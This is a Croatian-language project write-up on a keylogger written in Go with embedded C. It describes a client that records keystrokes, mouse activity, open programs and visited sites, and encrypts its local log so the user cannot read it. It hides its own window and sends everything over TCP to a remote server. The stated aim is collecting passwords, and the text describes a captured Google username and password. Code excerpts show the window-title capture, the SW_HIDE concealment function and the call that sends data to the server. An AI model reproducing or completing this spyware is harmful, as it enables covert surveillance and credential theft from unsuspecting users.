KeyLogger Golang & C
Temu rezervirao: Dražen Vuk
Sadržaj |
Uvod
Keylogger je program koji radi keystrokove, odnosno bilježi aktivnost preko tipkovnice, miša, može biti softver ili hardver koji ima sposobnost zapisivanja svih aktivnosti u datoteku ili može slati podatke direktno na server. Neki keylogger softveri također bilježe sve adrese e-pošte koje upotrebljavate, sve URL-ove koje posjećujete, aktivne programe, email poruke itd. Keylogger može predstavljati veliku sigurnosnu ranjivost za računalo ili čak za cijelu računalnu mrežu. Keylogger također može biti i koristan program pod kontroliranim uvjetima te za korištenje za privatne svrhe.
Cilj projekta
Cilj ovog projekta je pokazati na koji način prikupljati osjetljive podatke od korisnika kao što su lozinke, stranice koje posjećuje, datoteke koje otvara i programe koje koristi. U nastavku će biti navedene i kratko opisane sve korištene tehnologije i objašnjeno na koji način radi Keylogger.
Karakteristike izrađenog projekta
Projekt se sastoji od dva programa.
- Keylogger koji se nalazi na računalu klijenta
- Server koji prima sve podatke od Keyloggera putem TCP konekcije
Keylogger
- Čitanje svih aktivnosti s tipkovnice,
- Prepoznavanje aktivnosti miša,
- Prepoznavanje otvorenih programa,
- Prepoznavanje otvorenih internet stranica,
- Kriptiranje podataka,
- Slanje podatke preko TCP protokola na server,
- zapisivanje svih podataka u log datoteke
Server
- Primanje podatka od Keyloggera preko TCP listener-a,
- Dekriptiranje podataka,
- Kreira datoteku prema IP adresi klijenta,
- Sprema sve aktivnosti koje dobije putem TCP listenera u datoteku,
Izgled prikupljenih podataka
Prikupljeni podaci spremaju se na dva mjesta:
- računalo klijenta u kriptiranom obliku
- udaljenom serveru u "text-plain" obliku
Izgled kriptiranih podataka na računalu klijenta
Na računalu klijenta podaci su kriptirani iz razloga da korisnik ne može saznati o kakvom se logu radi, kriprirani log se može pročitati samo s tajnim ključem. Također razlog kriptiranja je da se ne može ući u trag kakvi se podaci šalju s računala koje sadrži "Keylogger"
Izgled podataka na udaljenom serveru
- Plavom bojom označena su pretraživanja u internet pregledniku
- Zelenom bojom označeni su programi koji su bili pokretani i korišteni
- Crvenom bojom označeno je logiranje na Google account, jasno se vidi upisani username i password
Golang programski jezik
Golang je je programski jezik stvoren od strane Googla. To je programski jezik u kombinaciji s "Algol" i "C" - om, kompailer i sve ostale orginalne komponente od Google su besplatni eng. "open source".
Svakom developeru koji je radio u nekim danas standardnim programskim jezicima kap što je C#, C, Cpp, Java i sličnim je izazov započeti projekt u "Golangu" zbog same sintakse koja se dosta razlikuje od uobičajenih programskih jezika.
Jedna uistinu korisna mogućnosti je da se u Golangu može koristiti C programski jezik i dll-ovi napisani u programskom jeziku C, bilo windows ili linux library, takav primjer ima i ovaj projekt "Keyloger" koji bude prikazan niže u primjeru.
Izdvojeni kod Keylogger-a
Primjer C koda u Golang-u
// #define WIN32_LEAN_AND_MEAN // #define NOCRYPT // #define NOGDI // #define NOSERVICE // #define NOMCX // #define NOIME // #include <windows.h> // #include <stdio.h> /* char title[1024]; char * getWindowR() { HWND hwndHandle = GetForegroundWindow(); memset(title,0,1024); GetWindowText(hwndHandle, title, 1024); //printf("From c: %s\n",title); return title; } void HideWindow() { HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); }*/ import "C" import ( "fmt" "time" "strconv" "unsafe" "os" "bytes" "net" "log" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "io" ) func AppendStringToFile(path string, text string) error { t := time.Now() f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE, os.ModeAppend) if err != nil { return err } defer f.Close() _, err = f.WriteString(t.Format("2006-01-02 15:04:05") + " " + text) if err != nil { return err } return nil }
U gore izdvojenom source kodu vidi se primjer kako koristiti C kod u Golangu. Sve iznad import "C" je zapravo C programski jezik, također da bi Golang kompailer taj dio koda mogao kompajlirati "C kod" mora biti nama naizgled zakomentiran na dva načina:
- Prvi način /* ovo je neki kod */
- Drugi način // ovo je neki kod
Zašto je korišten C kod u ovome projektu?
Za dohvaćanje trenutno aktivnog prozora, preglednika ili programa u Windows okruženju potrebno je koristiti library "windows.h" u kojoj se nalazi funkcija "GetWindowText" koja vraća Naslov otvorenog prozora. Korištenje takve funkcije prikazana je niže u primjeru. Programski jezik "Golang" nema takvu mogućnost pošto može raditi na više različitih operativnih sustava.
char * getWindowR() { HWND hwndHandle = GetForegroundWindow(); memset(title,0,1024); GetWindowText(hwndHandle, title, 1024); return title; }
Korisna funkcija "ShowWindow(hWnd, SW_HIDE);" za ovaj projekt je također u "windows.h", ona je također dio windowsa, služi da sakrije pokrenutu aplikaciju "Keyloger" i da radi u pozadini.
void HideWindow() { HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); }
Primjer prozivanja C koda iz Golang-a
var arr [1024]byte copy(arr[:], C.GoBytes(unsafe.Pointer(C.getWindowR()), 1024)) s := string(bytes.Trim(arr[:], "\x00")); if(s!=lastWindowText) { fmt.Println("\n" + s) lastWindowText=s SendMessageToServer("[WINDOW]" + s + "\n") }